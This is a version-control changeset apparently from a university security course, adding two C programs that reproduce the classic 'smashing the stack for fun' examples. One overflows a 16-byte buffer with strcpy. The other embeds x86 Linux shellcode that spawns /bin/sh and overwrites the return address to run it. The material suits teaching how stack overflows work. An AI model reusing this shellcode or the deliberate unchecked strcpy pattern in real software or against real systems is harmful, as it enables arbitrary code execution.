added original smashing for fun files
authorChristian Urban <christian dot urban at kcl dot ac dot uk>
Sat, 04 Oct 2014 15:07:26 +0100
changeset 200 17852f5397fd
parent 199 20af800ce736
child 201 f7a9837a63b8
added original smashing for fun files
progs/example2.c
progs/overflow.c
--- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+++ b/progs/example2.c	Sat Oct 04 15:07:26 2014 +0100
@@ -0,0 +1,16 @@
+void function(char *str) {
+   char buffer[16];
+
+   strcpy(buffer,str);
+}
+
+void main() {
+  char large_string[256];
+  int i;
+
+  for( i = 0; i < 255; i++)
+    large_string[i] = 'A';
+
+  function(large_string);
+}
+
--- /dev/null	Thu Jan 01 00:00:00 1970 +0000
+++ b/progs/overflow.c	Sat Oct 04 15:07:26 2014 +0100
@@ -0,0 +1,20 @@
+char shellcode[] =
+        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
+        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
+        "\x80\xe8\xdc\xff\xff\xff/bin/sh";
+
+char large_string[128];
+
+void main() {
+  char buffer[96];
+  int i;
+  long *long_ptr = (long *) large_string;
+
+  for (i = 0; i < 32; i++)
+    *(long_ptr + i) = (int) buffer;
+
+  for (i = 0; i < strlen(shellcode); i++)
+    large_string[i] = shellcode[i];
+
+  strcpy(buffer,large_string);
+}